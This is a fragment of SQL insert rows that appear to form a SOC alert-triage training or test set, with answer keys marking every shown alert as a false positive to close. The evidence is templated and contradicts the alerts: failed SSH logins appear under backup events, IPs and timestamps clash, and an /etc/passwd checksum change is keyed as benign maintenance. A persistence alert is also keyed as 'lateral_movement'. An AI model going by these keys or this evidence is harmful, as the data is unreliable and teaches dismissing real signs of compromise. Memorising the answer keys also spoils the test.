scans\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP belongs to an internal scanner used by IT for routine vulnerability assessments, making the alert a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:04:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:03:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:02:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:01:28.329Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T13:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-scanner\\\",\\\"failed_attempts\\\":20}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1809, 'Authorized Administrative Backups Detected as Data Exfiltration', 'medium', 'Splunk', 'Data transfers to a backup server were flagged as potential data exfiltration. These transfers are part of scheduled administrative backups.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP is part of authorized backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Authorized backup server destination\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The activity is consistent with routine backup operations, hence categorized as a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.331Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1810, 'Benign System Health Check Detected as Malicious Execution', 'low', 'Elastic SIEM', 'A system health check process was mistakenly flagged as malicious due to the execution of a common diagnostic tool.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"\",\"username\":\"sysadmin\",\"hostname\":\"diagnostic-tool\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\diagnostic.exe\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\System32\\\\diagnostic.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized system health diagnostic tool\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This process execution is part of a routine system health check and is not malicious.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1811, 'Misconfigured Legacy App Triggers Unauthorized Access Alert', 'medium', 'Azure Sentinel', 'An alert for unauthorized access was triggered by a legacy application due to misconfiguration, causing false login attempts.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.40\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server\",\"failed_attempts\":10}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal application with known misconfiguration issues\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The misconfiguration in a legacy application caused false login attempts, resulting in a false positive alert.\"}', 'Intermediate', 'SIEM', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:04:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:03:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:02:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:01:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1812, 'Scheduled Maintenance Activity Mistaken for Persistence Technique', 'low', 'Wazuh', 'Scheduled maintenance scripts were detected as persistence activities due to similarities in script execution patterns.', 'Persistence', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"maintenance_user\",\"hostname\":\"maintenance-server\",\"command_line\":\"/usr/local/bin/maintenance_script.sh\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/local/bin/maintenance_script.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled maintenance script execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The detected activity is a legitimate scheduled maintenance operation, not a persistence technique.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1813, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A series of network scans were detected originating from a known internal IP range. These scans are part of routine IT security assessments.', 'Network Scan', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:23Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"it_admin\",\"hostname\":\"scan_host\",\"command_line\":\"nmap -sS -p 1-65535 192.168.1.200\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS -p 1-65535 192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate network scan command for IT security assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scan\",\"analysis_notes\":\"Alert triggered by authorized IT scans. No malicious activity detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1814, 'Authorized Administrative Backup Processes Detected', 'low', 'Wazuh', 'Backup processes were detected on the server. These are scheduled and authorized administrative tasks.', 'Unauthorized Access', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:40:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"backup_user\",\"hostname\":\"backup_server\",\"command_line\":\"/usr/bin/rsync -av /data /backup\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for scheduled backups\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/rsync -av /data /backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_maintenance\",\"analysis_notes\":\"This is a scheduled and authorized backup process. No unauthorized access detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 